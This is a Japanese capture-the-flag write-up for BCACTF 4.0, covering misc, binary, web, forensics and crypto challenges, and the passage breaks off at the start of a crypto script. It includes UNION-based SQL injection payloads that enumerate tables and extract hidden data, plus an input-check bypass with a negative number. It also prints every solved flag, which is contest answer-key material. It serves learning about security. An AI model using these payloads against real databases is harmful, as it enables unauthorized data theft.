BCACTF 4.0 Writeup

この大会は2023/6/10 9:00(JST)~2023/6/13 9:00(JST)に開催されました。
今回もチームで参戦。結果は2500点で411チーム中16位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc 25)

Discordに入り、#announcementsチャネルのメッセージを見ると、マスクされていたが、フラグがあった。

bcactf{4n0tH3R_d15C0rD_ch4Ll_jBu4Xpk}

Manipulate Spreadsheet (misc 50)

スプレッドシートのコピーを作成し、Excelとしてダウンロードする。ダウンロードしたExcelを開き、全体のフォントカラーを黒にすると、A列とB列にデータがあることがわかる。
A列はindex、B列はcharとなっていて、B列は空白も多い。B列は空白以外、indexを昇順でソートすると、フラグになる。

bcactf{goO913_shee75_i5_coOl_4wce98Nu}

Here's my Hamsta (binex 50)

$ nc challs.bcactf.com 30435
Warning: You may need to zoom out your window for the best hamster experience
 . . .
                                                                                
                  .&*,,%(#,#%               .(*                                 
                  %@@#*,,,*,,,,*,,*&@    &//*%**/(                              
                  .@*,,,,,,,,,,,,,,,,,*/#//@**,,,*#                             
                %/,,*,,,,,,,,,,,,,,,,,,**/%**,,,,,%                             
              .&*,,,,,,,,, .,,,,,,,,,,,,,,,*,,,,,,@                             
       @/(&//(#**,,,,,,,..   ,,,,,,,,,,,,,,,,/#&(                               
       ***//(@***,,,,,,,      .,,,,,*@,,,,,,,,**&.                              
        @,**/(***,,,,,,,        ,,,@@@@,,,,,,,,,,*/                             
         #**/****,,,@@,,          .,@@*,,         ,/,,%@.                       
            .(***,,@@@@,.                          &,,,,,,,@.                   
            ./**,,,*@@,,     /*                   .#,,,,,,,,,,&                 
            ,**.              &    _.             %,,,,,,,,,,,,,#,              
             &              .  @(&'^            (,,,,,,,,,,,,,,,,,@             
              #              ^''              ,*,,,,,,,,,,,,,,,,,,,%            
               %, .                       ,****,,,,,,,,,,,,,,,,,,,,,@           
                  #&#,.                   ,,,,,,,,,,,,,,,,,,,,      *.          
                  %*...  .                    .,,,,,,,,.            /.          
                  #. .                                              @           
                  &  ..                                            &            
                  (  ..... .         (                           &              
                   & ......##     ..,%         (         (/..(@(**%             
                 (#//#&&@*       */#@       *@#((#%@%*     %&*&&.               
                  .%#.&&         //*,*#%%,                                      
                                    %,.%#                                       
                                                                                
            888                                  888                            
            888                                  888                            
            888                                  888                            
            88888b.  8888b. 88888b.d88b. .d8888b 888888 .d88b. 888d888          
            888  88b     88b888  888  88b88K     888   d8P  Y8b888P             
            888  888.d888888888  888  888 Y8888b.888   88888888888              
            888  888888  888888  888  888     X88Y88b. Y8b.    888              
            888  888 Y888888888  888  888 88888P   Y888  Y8888 888              

 . . .
                                                                              
                          ░░  ▓▓████▓▓██▓▓▓▓▓▓░░░░░░                          
                    ██████░░  ████████████████▒▒  ░░████░░                    
                  ▒▒    ░░████                ██████▒▒  ▓▓                    
                ▓▓▓▓████▓▓                        ░░████▒▒████                
              ▒▒░░▒▒                                    ▒▒░░░░██              
            ▓▓▒▒                                              ██░░▒▒          
          ░░░░▒▒                                                ▓▓▒▒          
          ▓▓▓▓                                                    ▓▓▓▓        
        ▒▒▒▒                                                      ▒▒░░▓▓      
      ░░▓▓▒▒                                                        ██▒▒██    
      ▓▓▓▓                                                            ██  ▒▒  
      ▓▓▓▓                                                            ██░░▒▒  
    ▒▒░░░░                                                            ░░██▒▒░░
    ▒▒▒▒░░                  ▒▒▒▒▒▒▒▒                                    ██▒▒░░
  ░░▒▒▓▓                  ▒▒░░░░░░░░██                                    ▒▒▓▓
    ██▓▓                ░░▒▒░░    ░░░░██                                  ▒▒▓▓
    ██▓▓              ░░░░▒▒        ░░██      ░░                          ██▓▓
  ░░▒▒▓▓            ▒▒▒▒▒▒▒▒        ░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒                    ██▓▓
    ▓▓▓▓          ▒▒░░░░░░░░░░    ░░██░░░░░░░░░░░░░░░░██░░██████▓▓        ▓▓▓▓
    ▒▒▓▓        ▓▓░░░░▓▓░░░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░▓▓        ▒▒▓▓
  ░░▓▓▓▓    ██▓▓  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████            ▓▓▓▓
    ██▓▓    ████  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██              ▒▒▓▓
    ▒▒░░░░  ▓▓        ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██        ░░██▒▒░░
    ▒▒░░░░  ░░▒▒            ░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░██        ░░██▒▒░░
      ██▓▓    ░░██▓▓░░      ░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░██        ▓▓░░▒▒  
      ▓▓▓▓      ▒▒▓▓░░      ▓▓░░░░░░░░░░░░░░██░░░░░░░░░░░░░░██        ▓▓░░▒▒  
      ░░▒▒▒▒      ████████  ██░░░░██        ██░░░░░░░░░░░░██        ██░░██    
        ▒▒▒▒              ▓▓██░░░░██░░░░░░░░██░░░░░░░░░░░░▓▓        ▒▒▓▓      
        ░░▒▒▒▒              ██░░▒▒░░░░  ░░░░░░▓▓▓▓░░░░░░▓▓        ▒▒▒▒░░      
      ████▒▒▒▒▒▒            ██░░▒▒                ████░░▓▓      ██▓▓          
      ▓▓▓▓  ▒▒▒▒░░          ██░░▒▒                ░░██▒▒░░░░░░▓▓░░░░          
    ▒▒▒▒░░▒▒  ▒▒▒▒▒▒        ██▒▒░░                  ██▒▒▒▒▒▒▓▓▓▓░░            
    ▒▒░░░░▒▒    ██░░████▓▓                          ████░░████                
    ▒▒░░░░▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░▒▒░░░░░░░░░░▒▒▒▒▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒
    ██░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░▒▒▒▒░░▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓
    ▒▒██████████████████████████████████████████████████████████████████████░░

Hi there. This is my my hamster. He LOVES to run.
The further he runs, the more of the flag you get
How many miles do you want him to run? 100
HEY! My hamster is not a MACHINE
He does NOT want to run that far
He likes to run up to 11 miles

11以下で指定する必要がある。とりあえず、10を指定してみる。

How many miles do you want him to run? 10
Awesome, (10 <= 11) is true, so my hamster's ready to run!
                                                                          
                            ░░░░▓▓▓▓▓▓▓▓██▓▓▓▓░░░░                         
                      ░░██▒▒░░  ██████████████░░░░████▒▒                   
                     ▓▓░░▒▒████              ████░░▒▒▒▒                    
                 ▒▒██░░██▒▒                      ▓▓██▒▒▓▓▓▓                
               ░░▓▓░░▒▒                              ░░▒▒░░▓▓              
             ██░░░░                                        ██▓▓░░          
           ▒▒▒▒▓▓                                            ▒▒▓▓          
         ░░▒▒▓▓                                              ░░░░██░░      
         ▓▓▓▓                                                  ▓▓░░██      
       ██░░░░                                                    ██░░▓▓    
     ██  ▓▓                    ░░                                  ██▒▒░░  
     ██░░▓▓              ▒▒▒▒▒▒▒▒▒▒                                ██░░░░  
   ▓▓░░██              ▒▒░░      ░░██                                ▓▓▓▓  
   ▓▓░░██            ▒▒▓▓░░      ░░████▒▒░░██▒▒░░                    ▓▓▒▒  
   ░░██            ██░░▒▒░░      ░░██░░░░░░░░░░▒▒██      ████        ░░▒▒██
   ▒▒██          ▒▒░░░░░░░░      ▓▓░░░░░░░░░░░░░░░░▓▓▒▒██░░██        ░░▒▒██
   ░░██        ▓▓▒▒░░▓▓░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░▒▒░░░░▓▓        ░░▒▒██
   ▒▒██    ▒▒██  ░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒          ░░▒▒██
   ░░██  ░░████  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██            ░░  ██
   ░░██  ░░░░        ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░          ░░▒▒██
   ░░██    ▒▒████░░      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓          ░░▒▒██
   ░░██      ██▓▓▓▓      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓          ░░▒▒██
   ▓▓▒▒██      ▓▓▓▓██      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓          ▓▓▒▒  
   ▓▓  ██        ▒▒████░░▒▒░░░░▒▒░░            ▒▒░░░░░░░░░░██        ▓▓▓▓  
     ██▒▒▓▓            ▒▒▓▓░░░░▒▒░░░░░░░░░░░░▓▓▓▓░░░░░░░░░░▓▓░░    ██░░░░  
     ██  ▓▓            ░░░░░░▓▓░░░░░░░░░░  ░░    ░░░░▓▓██▒▒░░▒▒░░  ██▒▒░░  
       ██▒▒░░        ░░░░▒▒██                            ░░████░░██  ██    
         ▓▓▒▒        ░░██▒▒                                    ▓▓░░██      
         ░░▓▓▒▒                                                ▒▒▓▓░░      
     ████▓▓▒▒  ▓▓                                            ▒▒▓▓          
     ██░░▓▓  ▓▓░░▒▒░░                                  ░░░░▓▓▒▒            
   ▒▒░░▒▒▒▒▒▒  ▒▒▒▒░░▒▒                              ░░▓▓▒▒▒▒░░            
   ░░░░░░░░▒▒    ▒▒██▒▒██▒▒                      ████▒▒██▓▓                
  ░░  ░░  ▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
  ░░░░░░  ▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓░░▒▒▒▒▒▒▒▒▒▒░░▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
  ▓▓████████████████████████████████████████████████████████████████████  

Flag is: b

                :
                :
                                                                          
                              ▒▒▒▒▒▒▒▒▒▒▒▒▒▒                              
                        ▒▒████░░░░▒▒  ▒▒  ▒▒████                          
                    ▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒                    
                ░░▒▒▒▒▒▒▒▒░░░░              ░░░░▒▒▓▓▒▒▒▒▒▒                
              ░░░░▒▒▓▓                              ▒▒░░▒▒██              
            ░░▒▒▒▒▒▒                                  ▒▒▒▒▒▒▒▒            
          ░░░░▓▓                                          ░░▒▒▒▒          
        ░░▒▒██                                              ▒▒░░██        
        ▓▓▓▓                                                  ▓▓░░██      
      ▒▒▒▒▒▒                                                  ░░▓▓▒▒▒▒    
    ██▒▒▓▓                                                        ██░░░░  
    ██  ██                                                        ██▒▒    
  ▓▓  ██                                                            ▓▓▓▓  
  ██  ██                                                            ▓▓▒▒  
  ▒▒██                                                              ░░▒▒██
  ░░██                        ██████▒▒                              ░░░░██
  ▒▒██                      ██░░░░░░▒▒                              ░░▒▒██
  ░░██                    ▓▓░░░░    ░░▓▓                            ░░▒▒██
  ▒▒██                  ████░░      ░░████████▒▒                    ░░▒▒██
  ░░██                ▒▒░░▓▓░░        ▓▓░░░░░░▒▒██▓▓                ░░▒▒██
  ░░██              ░░▒▒░░░░░░░░    ▒▒░░░░░░░░░░░░░░▒▒░░            ░░▒▒██
  ▓▓  ██      ░░██  ░░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░██████░░    ▓▓▓▓  
  ▓▓░░██      ▓▓██  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██░░░░▒▒░░    ▓▓▓▓  
    ██  ▓▓    ▓▓        ░░░░░░░░░░░░░░░░░░░░██▒▒░░░░░░██▓▓        ██▒▒░░  
    ██  ▓▓    ░░░░        ░░░░░░░░░░░░░░████░░░░░░░░░░██          ██░░    
    ▓▓▒▒▒▒    ░░▓▓          ░░░░░░░░░░▒▒▒▒░░░░░░░░░░░░▓▓        ░░▓▓░░░░  
      ░░▒▒▒▒    ░░▒▒▒▒▒▒      ░░░░░░░░▓▓░░░░░░░░░░░░▒▒        ▒▒░░▓▓░░    
        ▓▓▓▓        ▓▓        ░░░░██░░▓▓░░░░░░░░░░░░▒▒        ▓▓  ██      
        ░░▒▒██      ░░████░░  ▒▒░░██  ▓▓░░░░░░░░░░░░▒▒      ░░▒▒▓▓        
    ██▓▓▓▓▒▒░░▓▓          ▒▒▓▓▒▒░░░░▒▒██░░░░░░░░░░▓▓        ▒▒▓▓          
  ▓▓██████░░  ▓▓▒▒██          ▒▒░░░░▒▒░░▒▒░░░░▒▒      ████▒▒▒▒            
  ░░░░░░  ▒▒  ░░▒▒▒▒▒▒░░        ▒▒░░▒▒▓▓░░░░▒▒  ░░░░▒▒░░░░▓▓              
  ░░  ░░░░▒▒▒▒▒▒▓▓██▒▒▒▒▒▒▒▒▒▒    ░░▓▓▓▓▒▒░░▒▒▒▒▓▓▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒██  
  ░░░░    ██▒▒▒▒▒▒▒▒▓▓██▒▒▒▒  ██████████████▒▒  ████▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
  ░░░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████▒▒░░░░▒▒░░▒▒░░████▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓

Flag is: bc

                :
                :
                                                                             
                          ░░  ▓▓████▓▓██▓▓▓▓▓▓░░░░░░                          
                    ██████░░  ████████████████▒▒  ░░████░░                    
                  ▒▒    ░░████                ██████▒▒  ▓▓                    
                ▓▓▓▓████▓▓                        ░░████▒▒████                
              ▒▒░░▒▒                                    ▒▒░░░░██              
            ▓▓▒▒                                              ██░░▒▒          
          ░░░░▒▒                                                ▓▓▒▒          
          ▓▓▓▓                                                    ▓▓▓▓        
        ▒▒▒▒                                                      ▒▒░░▓▓      
      ░░▓▓▒▒                                                        ██▒▒██    
      ▓▓▓▓                                                            ██  ▒▒  
      ▓▓▓▓                                                            ██░░▒▒  
    ▒▒░░░░                                                            ░░██▒▒░░
    ▒▒▒▒░░                  ▒▒▒▒▒▒▒▒                                    ██▒▒░░
  ░░▒▒▓▓                  ▒▒░░░░░░░░██                                    ▒▒▓▓
    ██▓▓                ░░▒▒░░    ░░░░██                                  ▒▒▓▓
    ██▓▓              ░░░░▒▒        ░░██      ░░                          ██▓▓
  ░░▒▒▓▓            ▒▒▒▒▒▒▒▒        ░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒                    ██▓▓
    ▓▓▓▓          ▒▒░░░░░░░░░░    ░░██░░░░░░░░░░░░░░░░██░░██████▓▓        ▓▓▓▓
    ▒▒▓▓        ▓▓░░░░▓▓░░░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░▓▓        ▒▒▓▓
  ░░▓▓▓▓    ██▓▓  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████            ▓▓▓▓
    ██▓▓    ████  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██              ▒▒▓▓
    ▒▒░░░░  ▓▓        ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██        ░░██▒▒░░
    ▒▒░░░░  ░░▒▒            ░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░██        ░░██▒▒░░
      ██▓▓    ░░██▓▓░░      ░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░██        ▓▓░░▒▒  
      ▓▓▓▓      ▒▒▓▓░░      ▓▓░░░░░░░░░░░░░░██░░░░░░░░░░░░░░██        ▓▓░░▒▒  
      ░░▒▒▒▒      ████████  ██░░░░██        ██░░░░░░░░░░░░██        ██░░██    
        ▒▒▒▒              ▓▓██░░░░██░░░░░░░░██░░░░░░░░░░░░▓▓        ▒▒▓▓      
        ░░▒▒▒▒              ██░░▒▒░░░░  ░░░░░░▓▓▓▓░░░░░░▓▓        ▒▒▒▒░░      
      ████▒▒▒▒▒▒            ██░░▒▒                ████░░▓▓      ██▓▓          
      ▓▓▓▓  ▒▒▒▒░░          ██░░▒▒                ░░██▒▒░░░░░░▓▓░░░░          
    ▒▒▒▒░░▒▒  ▒▒▒▒▒▒        ██▒▒░░                  ██▒▒▒▒▒▒▓▓▓▓░░            
    ▒▒░░░░▒▒    ██░░████▓▓                          ████░░████                
    ▒▒░░░░▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░▒▒░░░░░░░░░░▒▒▒▒▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒
    ██░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░▒▒▒▒░░▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓
    ▒▒██████████████████████████████████████████████████████████████████████░░

Flag is: bcactf{w3l
 . . .
Welp! That was 10 miles, time to stop
But let's do it again!

指定した数はインデックスになっていて、フラグを指定したインデックスまで表示するようだ。

  • 1を指定してみる。
How many miles do you want him to run? -1
Awesome, (-1 <= 11) is true, so my hamster's ready to run!
                                                                          
                            ░░░░▓▓▓▓▓▓▓▓██▓▓▓▓░░░░                         
                      ░░██▒▒░░  ██████████████░░░░████▒▒                   
                     ▓▓░░▒▒████              ████░░▒▒▒▒                    
                 ▒▒██░░██▒▒                      ▓▓██▒▒▓▓▓▓                
               ░░▓▓░░▒▒                              ░░▒▒░░▓▓              
             ██░░░░                                        ██▓▓░░          
           ▒▒▒▒▓▓                                            ▒▒▓▓          
         ░░▒▒▓▓                                              ░░░░██░░      
         ▓▓▓▓                                                  ▓▓░░██      
       ██░░░░                                                    ██░░▓▓    
     ██  ▓▓                    ░░                                  ██▒▒░░  
     ██░░▓▓              ▒▒▒▒▒▒▒▒▒▒                                ██░░░░  
   ▓▓░░██              ▒▒░░      ░░██                                ▓▓▓▓  
   ▓▓░░██            ▒▒▓▓░░      ░░████▒▒░░██▒▒░░                    ▓▓▒▒  
   ░░██            ██░░▒▒░░      ░░██░░░░░░░░░░▒▒██      ████        ░░▒▒██
   ▒▒██          ▒▒░░░░░░░░      ▓▓░░░░░░░░░░░░░░░░▓▓▒▒██░░██        ░░▒▒██
   ░░██        ▓▓▒▒░░▓▓░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░▒▒░░░░▓▓        ░░▒▒██
   ▒▒██    ▒▒██  ░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒          ░░▒▒██
   ░░██  ░░████  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██            ░░  ██
   ░░██  ░░░░        ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░          ░░▒▒██
   ░░██    ▒▒████░░      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓          ░░▒▒██
   ░░██      ██▓▓▓▓      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓          ░░▒▒██
   ▓▓▒▒██      ▓▓▓▓██      ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓          ▓▓▒▒  
   ▓▓  ██        ▒▒████░░▒▒░░░░▒▒░░            ▒▒░░░░░░░░░░██        ▓▓▓▓  
     ██▒▒▓▓            ▒▒▓▓░░░░▒▒░░░░░░░░░░░░▓▓▓▓░░░░░░░░░░▓▓░░    ██░░░░  
     ██  ▓▓            ░░░░░░▓▓░░░░░░░░░░  ░░    ░░░░▓▓██▒▒░░▒▒░░  ██▒▒░░  
       ██▒▒░░        ░░░░▒▒██                            ░░████░░██  ██    
         ▓▓▒▒        ░░██▒▒                                    ▓▓░░██      
         ░░▓▓▒▒                                                ▒▒▓▓░░      
     ████▓▓▒▒  ▓▓                                            ▒▒▓▓          
     ██░░▓▓  ▓▓░░▒▒░░                                  ░░░░▓▓▒▒            
   ▒▒░░▒▒▒▒▒▒  ▒▒▒▒░░▒▒                              ░░▓▓▒▒▒▒░░            
   ░░░░░░░░▒▒    ▒▒██▒▒██▒▒                      ████▒▒██▓▓                
  ░░  ░░  ▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
  ░░░░░░  ▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓░░▒▒▒▒▒▒▒▒▒▒░░▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
  ▓▓████████████████████████████████████████████████████████████████████  

Flag is: b

                :
                :
                                                                              
                          ░░  ▓▓████▓▓██▓▓▓▓▓▓░░░░░░                          
                    ██████░░  ████████████████▒▒  ░░████░░                    
                  ▒▒    ░░████                ██████▒▒  ▓▓                    
                ▓▓▓▓████▓▓                        ░░████▒▒████                
              ▒▒░░▒▒                                    ▒▒░░░░██              
            ▓▓▒▒                                              ██░░▒▒          
          ░░░░▒▒                                                ▓▓▒▒          
          ▓▓▓▓                                                    ▓▓▓▓        
        ▒▒▒▒                                                      ▒▒░░▓▓      
      ░░▓▓▒▒                                                        ██▒▒██    
      ▓▓▓▓                                                            ██  ▒▒  
      ▓▓▓▓                                                            ██░░▒▒  
    ▒▒░░░░                                                            ░░██▒▒░░
    ▒▒▒▒░░                  ▒▒▒▒▒▒▒▒                                    ██▒▒░░
  ░░▒▒▓▓                  ▒▒░░░░░░░░██                                    ▒▒▓▓
    ██▓▓                ░░▒▒░░    ░░░░██                                  ▒▒▓▓
    ██▓▓              ░░░░▒▒        ░░██      ░░                          ██▓▓
  ░░▒▒▓▓            ▒▒▒▒▒▒▒▒        ░░██▒▒▒▒▒▒▒▒▒▒▒▒▒▒                    ██▓▓
    ▓▓▓▓          ▒▒░░░░░░░░░░    ░░██░░░░░░░░░░░░░░░░██░░██████▓▓        ▓▓▓▓
    ▒▒▓▓        ▓▓░░░░▓▓░░░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░▓▓        ▒▒▓▓
  ░░▓▓▓▓    ██▓▓  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████            ▓▓▓▓
    ██▓▓    ████  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██              ▒▒▓▓
    ▒▒░░░░  ▓▓        ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██        ░░██▒▒░░
    ▒▒░░░░  ░░▒▒            ░░░░░░░░░░░░░░░░░░██░░░░░░░░░░░░██        ░░██▒▒░░
      ██▓▓    ░░██▓▓░░      ░░░░░░░░░░░░░░░░██░░░░░░░░░░░░░░██        ▓▓░░▒▒  
      ▓▓▓▓      ▒▒▓▓░░      ▓▓░░░░░░░░░░░░░░██░░░░░░░░░░░░░░██        ▓▓░░▒▒  
      ░░▒▒▒▒      ████████  ██░░░░██        ██░░░░░░░░░░░░██        ██░░██    
        ▒▒▒▒              ▓▓██░░░░██░░░░░░░░██░░░░░░░░░░░░▓▓        ▒▒▓▓      
        ░░▒▒▒▒              ██░░▒▒░░░░  ░░░░░░▓▓▓▓░░░░░░▓▓        ▒▒▒▒░░      
      ████▒▒▒▒▒▒            ██░░▒▒                ████░░▓▓      ██▓▓          
      ▓▓▓▓  ▒▒▒▒░░          ██░░▒▒                ░░██▒▒░░░░░░▓▓░░░░          
    ▒▒▒▒░░▒▒  ▒▒▒▒▒▒        ██▒▒░░                  ██▒▒▒▒▒▒▓▓▓▓░░            
    ▒▒░░░░▒▒    ██░░████▓▓                          ████░░████                
    ▒▒░░░░▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░▒▒░░░░░░░░░░▒▒▒▒▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒
    ██░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░▒▒▒▒░░▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓
    ▒▒██████████████████████████████████████████████████████████████████████░░

Flag is: bcactf{w3lcom3_TT0_PWN;__h4mster_8e9d89a}
bcactf{w3lcom3_TT0_PWN;__h4mster_8e9d89a}

FreeBee (webex 50)

ページは途中からモザイクのようになって見えない。
ウェブページ全体を保存し、ローカルで見てみる。HTMLソースのSVG部分がフラグであると推測できる。classが"b"の場合、モザイクがかかったような表示になるので、classを"text"に変更する。ローカルでこのページを表示させると、フラグが表示された。

bcactf{BEeutifUl_J0b}

Unionized (webex 100)

SQLインジェクション。UNION句を使い、データを抜き取る。

■Z' union select 1 --
1

■Z' union select sqlite_version() --
3.41.1

■Z' union select name from sqlite_master where type = 'table' --
mystery
school_data

■Z' union select sql from sqlite_master where type = 'table' --
CREATE TABLE mystery(unkn0wn TEXT)
CREATE TABLE school_data(name TEXT)

■Z' union select unkn0wn from mystery --
bcactf{1_L0v3_sQl_UN10n_QU3r13S}
bcactf{1_L0v3_sQl_UN10n_QU3r13S}

Silly-Squares (foren 25)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

bcactf{th1s_is_a_r34l_flag}

Aetherion Dynamics (foren 50)

PDFを開くとフラグ部分と思われる部分が黒塗りされている。PDF全体が画像になっているようなので、画像をコピーして、ペイントに貼り付けると、フラグを見ることができた。

bcactf{n0t_S0_5Ecre7_ANyMorE}

Baby's First Foren (foren 50)

$ zsteg babys-first-foren.png | grep text
[?] 630 bytes of extra data after image end (IEND), offset = 0x112b3
meta Author         .. text: "bcactf{i_h0P3_y0u_"
b1,rgb,lsb,xy       .. text: "b9cvG8nf}"
b2,r,msb,xy         .. text: ["U" repeated 250 times]
b2,g,msb,xy         .. text: "wUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"
b2,b,msb,xy         .. text: ["U" repeated 250 times]
b2,rgb,msb,xy       .. text: ["U" repeated 238 times]
b2,bgr,msb,xy       .. text: ["U" repeated 238 times]
b2,abgr,msb,xy      .. text: ["W" repeated 232 times]
b4,r,msb,xy         .. text: ["w" repeated 244 times]
b4,g,msb,xy         .. text: ["w" repeated 244 times]
b4,b,msb,xy         .. text: ["w" repeated 244 times]
b4,rgb,msb,xy       .. text: ["w" repeated 220 times]
b4,bgr,msb,xy       .. text: ["w" repeated 220 times]

フラグの先頭と、末尾のパーツが見つかった。

$ binwalk babys-first-foren.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1000 x 1000, 8-bit/color RGBA, non-interlaced
78            0x4E            Zlib compressed data, compressed
70323         0x112B3         Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 838, name: temp.txt
70931         0x11513         End of Zip archive, footer length: 22

pngの後ろにzipが付いているので、切り出す。

$ binwalk -e babys-first-foren.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1000 x 1000, 8-bit/color RGBA, non-interlaced
78            0x4E            Zlib compressed data, compressed
70323         0x112B3         Zip archive data, at least v2.0 to extract, compressed size: 464, uncompressed size: 838, name: temp.txt
70931         0x11513         End of Zip archive, footer length: 22

$ cat _babys-first-foren.png.extracted/temp.txt 
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Pellentesque elit ullamcorper dignissim cras tincidunt lobortis feugiat vivamus at. Lacus sed turpis tincidunt id aliquet. Turpis massa sed elementum tempus egestas. Amet est placerat in egestas erat. Sociis natoque penatibus et magnis dis parturient montes. Laoreet sit amet cursus sit. Elementum pulvinar etiam non quam lacus. Viverra nam libero justo laoreet sit amet cursus sit. Lectus nulla at volutpat diam ut venenatis tellus in. Bibendum ut tristique et egestas quis ipsum suspendisse ultrices. Aliquet bibendum enim facilisis gravida neque convallis a. Ac placerat vestibulum lectus mauris ultrices eros in. Est velit egestas dui id ornare arcu odio ut.
The part you're looking for is leaRN3d_s0m3th1nG_.

フラグの真ん中のパーツがあった。すべてのパーツをつなげ、フラグにする。

bcactf{i_h0P3_y0u_leaRN3d_s0m3th1nG_b9cvG8nf}

Dots and Dashes (crypto 25)

モールス信号にも見えるが、スペースがない。"-"を"0"、"."を"1"としてデコードする。

#!/usr/bin/env python3
with open('code.txt', 'r') as f:
    ct = f.read()

ct = ct.replace('-', '0').replace('.', '1')

flag = ''
for i in range(0, len(ct), 8):
    flag += chr(int(ct[i:i+8], 2))
print(flag)
bcactf{n0T_QU!t3_M0r5E_981454}

Many Time Pad (crypto 50)

ある既知の平文とXORした暗号文があるので、XOR鍵を割り出すことができる。それと同じXOR鍵でフラグが暗号化されているので、XORで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

